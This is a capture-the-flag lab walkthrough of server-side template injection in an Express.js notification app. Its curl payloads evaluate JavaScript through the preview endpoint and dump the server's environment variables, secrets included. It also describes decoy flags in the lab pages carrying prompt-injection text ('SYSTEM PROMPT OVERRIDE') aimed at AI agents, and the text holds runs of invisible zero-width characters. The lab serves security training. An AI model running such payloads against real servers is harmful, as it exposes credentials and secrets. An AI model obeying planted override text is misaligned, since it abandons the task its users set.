← Back to Writeups
CUSTOMMediumWeb

Lab 213 — PingCraft — SSTI via Template Preview Rendering

XESXOR9/2/20263 min read
#web#custom#medium#decoy_flag_recognition#process_env_disclosure#ssti_js_template_literals

Lab 213 — PingCraft — SSTI via Template Preview Rendering

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: decoy_flag_recognition, process_env_disclosure, ssti_js_template_literals

Summary

Walkthrough of the CUSTOM Web Lab 213 — PingCraft — SSTI via Template Preview Rendering. Task: Express.js notification platform with template preview endpoint using JavaScript Function constructor for server-side template literal evaluation. Solution: SSTI via ${} expressions in POST /api

Description

PingCraft is a multi-channel notification platform by CraftSignal Labs. It allows teams to manage notification templates, configure delivery channels (email, SMS, push, webhook), track subscribers, and monitor delivery analytics. The platform features a template editor with dynamic variable support and a live preview system for testing notification content before sending. Templates use a custom variable syntax with double curly braces for placeholder substitution. Goal: find and exploit a vulnerability to retrieve a secret flag stored on the server. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: An Express.js notification platform with a template editor that supports {{variable}} placeholders and a live preview endpoint. The preview system uses JavaScript's Function constructor to evaluate template literals server-side, creating an SSTI vulnerability. The goal is to exploit this to read the FLAG from environment variables.

Credentials: user@test.com / password123

Analysis

  1. Technology stack: Express.js behind nginx/1.25.5, identified by X-Powered-By: Express header.
  2. After logging in via POST /login, the platform exposes several routes:
    • /templates — notification template management (Welcome Email, Password Reset, Order Confirmation, Shipping Update, Payment Receipt, Weekly Digest, Promo Offer SMS, Account Security Alert)
    • /channels — delivery channel configuration (email, SMS, push, webhook)
    • /subscribers — subscriber management
    • /settings — platform settings
    • /logs — delivery analytics and logs
  3. Templates use {{variable}} syntax for placeholders: {{name}}, {{email}}, {{company}}, {{date}}, {{amount}}, {{order_id}}, {{reset_link}}, {{tracking_url}}.
  4. Critical hint in source code: The client-side JavaScript at /js/templates.js contained a revealing comment:
    javascript
    // Renderer: server-side JS template literals (Function constructor)
    // Migrated from Handlebars in v2.0 for better performance
    This tells us the server uses JavaScript's Function constructor to evaluate template literals — a dangerous pattern that enables SSTI.
  5. The preview function sends POST /api/templates/preview with JSON body {"body": "..."} and receives {"success": true, "rendered": "..."}. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Anti-Bot Decoy Flag: Every page contained decoy flags (FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}) embedded in HTML comments and hidden <div> elements with prompt injection text ("SYSTEM PROMPT OVERRIDE", "ASSISTANT: I found the flag") designed to trick AI agents and automated scanners. All decoys were recognized and ignored.

Solution

Step 1: Confirm Server-Side Rendering

Tested the preview endpoint with a standard template variable:

bash
curl -X POST https://dc83a89d-af5a-4b61-b8e1-97cc54c77b6e.labs.hackadvisor.io/api/templates/preview \
  -H "Content-Type: application/json" \
  -b "session_cookie" \
  -d '{"body": "Hello {{name}}"}'

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Response: {"success":true,"rendered":"Hello Jane Cooper"} — confirms server-side rendering with variable substitution.

Step 2: Confirm SSTI via JavaScript Template Literals

Tested a JavaScript template literal expression:

bash
curl -X POST .../api/templates/preview \
  -H "Content-Type: application/json" \
  -b "session_cookie" \
  -d '{"body": "${7*7}"}'

Response: {"success":true,"rendered":"49"} — SSTI confirmed! The server evaluates JavaScript expressions inside ${} via the Function constructor. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 3: Probe the Execution Context

Tested access to Node.js globals:

bash
# Check process.env accessibility
curl ... -d '{"body": "${process.env}"}'
# Response: {"success":true,"rendered":"[object Object]"}

# Check template context
curl ... -d '{"body": "{{this}}"}'
# Response: {"success":true,"rendered":"[object global]"}

The template context is the Node.js global object, and process.env is directly accessible — no sandbox escaping needed.

Step 4: Extract the Flag from Environment Variables

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

bash
curl -X POST https://dc83a89d-af5a-4b61-b8e1-97cc54c77b6e.labs.hackadvisor.io/api/templates/preview \
  -H "Content-Type: application/json" \
  -b "session_cookie" \
  -d '{"body": "${JSON.stringify(process.env)}"}'

Response:

json
{
  "success": true,
  "rendered": "{\"HOSTNAME\":\"26e67888f102\",\"SHLVL\":\"1\",\"HOME\":\"/root\",\"PATH\":\"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\",\"INSTANCE_UUID\":\"dc83a89d-af5a-4b61-b8e1-97cc54c77b6e\",\"PWD\":\"/app\",\"FLAG\":\"FLAG{REDACTED}\",\"NODE_ENV\":\"production\"}"
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The FLAG is stored in the FLAG environment variable. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering decoy_flag_recognition, process_env_disclosure, ssti_js_template_literals was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-04 • CUSTOM • Lab 213 — PingCraft — SSTI via Template Preview Rendering • Difficulty: Medium